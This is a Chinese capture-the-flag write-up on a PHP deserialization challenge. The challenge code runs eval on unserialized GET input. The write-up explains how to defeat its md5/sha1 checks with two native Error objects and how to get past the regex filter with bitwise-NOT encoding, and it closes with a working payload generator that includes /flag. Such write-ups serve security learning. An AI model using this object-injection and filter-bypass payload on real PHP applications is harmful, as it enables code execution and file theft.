知识点:Error原生类的利用
<?php
error_reporting(0);
class SYCLOVER {
public $syc;
public $lover;
public function __wakeup(){
//反序列化的时候自动调用
if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
//俩个字符串不同,但两种加密后要相同
if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
eval($this->syc);
} else {
die("Try Hard !!");
}
}
}
}
if (isset($_GET['great'])){
unserialize($_GET['great']);
} else {
highlight_file(__FILE__);
}
?>
第一个if可以用数组过但是,这边用数组的化eval这边会执行不起来。
所以我们可以找一个含有__toString的类,来返回值。
这边可以用原生类Error或者Exception,只不过 Exception 类适用于PHP 5和7,而 Error 只适用于 PHP 7。
例如:
可以看到返回一个报错,且包含错误行数。
就这题而言:
可以看到返回值一样,那么他们的加密后的结果也一样。
第二个preg_match可以用取反来绕过,但是要urldecode一下,看了其他大佬的wp,发现可以直接包含/flag,但并不清楚怎么查看目录,若有人知道,跪求告之
<?php
error_reporting(0);
class SYCLOVER {
public $syc;
public $lover;
}
$str = "?><?=include~".urldecode("%d0%99%93%9e%98")."?>";
$a=new Error($str,1);$b=new Error($str,2);
$c = new SYCLOVER();
$c->syc = $a;
$c->lover = $b;
echo urlencode(serialize($c));
?>